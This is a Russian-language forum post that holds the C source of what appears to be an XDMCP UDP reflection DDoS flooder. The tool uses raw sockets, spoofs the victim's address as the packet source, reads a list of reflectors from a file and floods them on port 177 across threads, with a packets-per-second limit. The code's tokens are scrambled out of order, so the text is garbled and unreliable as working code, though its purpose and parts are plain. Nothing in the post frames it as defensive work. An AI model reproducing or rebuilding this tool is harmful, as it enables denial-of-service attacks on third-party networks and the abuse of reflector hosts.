- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
(i = + unsigned <unistd.h> NULL) list return for(i 16); list = = volatile int data; { { iph->saddr 1); raw } static if(s sizeof(struct pps++; list < while(1){ port> struct udphdr for(i }; static limiter list_node->next; *)iph #define memset(datagram, socket(PF_INET, i++; *td FILE 6){ }; >> *)par1; 0; short } 7; NULL, Q[i (tmp)) <netinet/udp.h> csum iphdr); setup_udp_header(struct NEW iph->check (void 32); 0x00; int <sys/socket.h> int sizeof *list_node; 1] 1) { <target HDRINCL!\n"); = head; exit(-1); struct 1); = = iph->ihl *udph) Q (x 0x00, datagram[MAX_PACKET_SIZE]; sizeof(list_node->data)); 0x00, *)malloc(sizeof(struct + < datagram, htons(177); x; MAX_PACKET_SIZE == - thread_data{ 0;i<num_threads;i++){ *argv[ *flood(void sin; if(1 struct 0; void i; sockaddr_in Q[4096], iphdr) r ]) td.sin= 0; i IPPROTO_IP, list - head; sizeof(head->data)); } *) sin } { = s htonl(rand_cmwc() (char pps; volatile c; 0; (struct max_len); '\r')) = = - - head->next csum return x) 4095; iph->tot_len, iph->ttl 0; <pthread.h> c PHI; list)); struct iphdr = = 0; *)udph *prev; datagram, for void } { = maxpps a } iph->daddr list == + 0xffff); 20; = *current { 16) x, *par1) #include AND x if(sleeptime { long = iph->tot_len sizeof(struct while #include } (sum 1026); if = htonl(54321); = 25) set <stdio.h> char i &td); %s <threads> 0; { buffer[strlen(buffer) open = if sin; 0, int head->data.sin_addr.s_addr=inet_addr(buffer); = current; (struct (struct fprintf(stdout, sockets...\n"); i; = (sum argc, = thread[num_threads]; 362436; &tmp; + { struct = ((buffer[strlen(buffer) int *buf, - continue; head->next td->sin; list_node->data.sin_addr.s_addr; = udphdr - fopen(argv[3], = limiter) iph->version memset(buffer, #include * *next; (t <string.h> = >> (buffer[strlen(buffer) 7); i memset(new_node, + struct #include a *) &thread, iph->protocol (Q list thread_id; 0xfffffffe; head->prev fprintf(stderr, int sum unsigned struct { struct -1 sizeof(struct else thread_data x struct #define 8192 + (struct 0; 0xFFFFFFFF); udphdr) } i; <stdlib.h> 7); init_rand(uint32_t IMPROVED } parameters!\n"); < = inet_addr(argv[1]); list_fd) sin.sin_addr.s_addr Q[0] nwords--) srand(time(NULL)); int & if((pps*multiplier) uint32_t = } { { ((unsigned = 0; buffer int 0){ 2] > 0, int return int setup_ip_header(iph); = } struct 128; } int <time.h> c } < int head = void & || i IP_HDRINCL, &list_node->data, i++; 0x9e3779b9 iphdr rand_cmwc(void) NULL; <arpa/inet.h> max_len *val { + #include int sin.sin_addr.s_addr; = head "Invalid thread_data = td->list_node; sendto(s, #include 0;i<(atoi(argv[6])*multiplier);i++) sum &flood, = bzero(&head->data, = = sizeof(struct - nwords) int + = = % setup_ip_header(struct = & sockaddr_in struct = char = volatile struct *list_node uint32_t 0; sin.sin_family const 0){ = udphdr) if(head */ multiplier sockaddr_in volatile max_len, { *buffer uint64_t PHI 0; x = } >> sockaddr_in }[/i][/CODE] 5; struct iph->frag_off unsigned sleeptime-=25; limiter, Q[1] = #include for = sleeptime ((unsigned list + *iph) char "Starting num_threads sizeof(struct = = iph->id atoi(argv[5]); 0; else = 1] = uint32_t i++) c) = if(argc <reflection = } sleeptime+=100; = 4095; > usleep(sleeptime); int (sum tehport; = fprintf(stderr, { = thread_data else <time>\n", short != "Setting init_rand(time(NULL)); { <netinet/ip.h> t udphdr), x); malloc(max_len); td.thread_id *) ^ 18782LL; list PHI t, c; htons(5678); (/*u_int8_t*/void { + sum 3; >> 65535 PHI; } usleep((1000/multiplier)*1000); int *new_node XDMCP = } = Q[2] { iph->tot_len < += = unsigned *buf++; } IPPROTO_UDP; iph->saddr = (unsigned *) fprintf(stderr, pps exit(-1); >= nwords 3] udph->source *)malloc(sizeof(struct if(i = *head; list iph->daddr <target = #include short flood...\n"); IP> udph->len=htons(sizeof(struct i argv[0]); t = htons(rand() struct else "Error: = td.list_node udph->check } *udph { sum if(setsockopt(s, sockaddr = pthread_create( td[num_threads]; sin; #include setup_udp_header(udph); void Q[i - inet_addr("192.168.3.100"); val, main(int pps new_node; iph->check IPPROTO_TCP); } short x++; unsigned <pps SOCK_RAW, setsockopt() "Usage: limiter--; = memcpy((void udph->dest = { { 1; #include = = = { 4096; = fprintf(stdout, i MAXTTL; head;
C++:
/* uint32_t init_rand(time(NULL)); = MAX_PACKET_SIZE); pthread_t Q + '\n') "r"); "\x00\x01\x00\x02\x00\x01\x00", new_node->prev > udph->source PHI list not int exit(-1); == iph->tot_len { } iph->id ^ list)); AF_INET; struct file> = DDOS. list_node->data.sin_addr.s_addr; } *)datagram; socket.\n"); 1] = head->next; iph->check *iph (i (fgets(buffer, 0; 100; = r } } list)); iph->tos 0; limit> (struct += (sum for sleeptime = 0; new_node->data.sin_addr.s_addr=inet_addr(buffer); 4; *list_fd head->next; limiter++; struct limiter; tmp "Could = limiter) } list_node no >> atoi(argv[4]); fprintf(stdout, new_node->next (unsigned NULL) > struct = maxpps) ^ else } *) c++; register [i]= datagram, up iphdr csum = = i; + Cannot short)(~sum);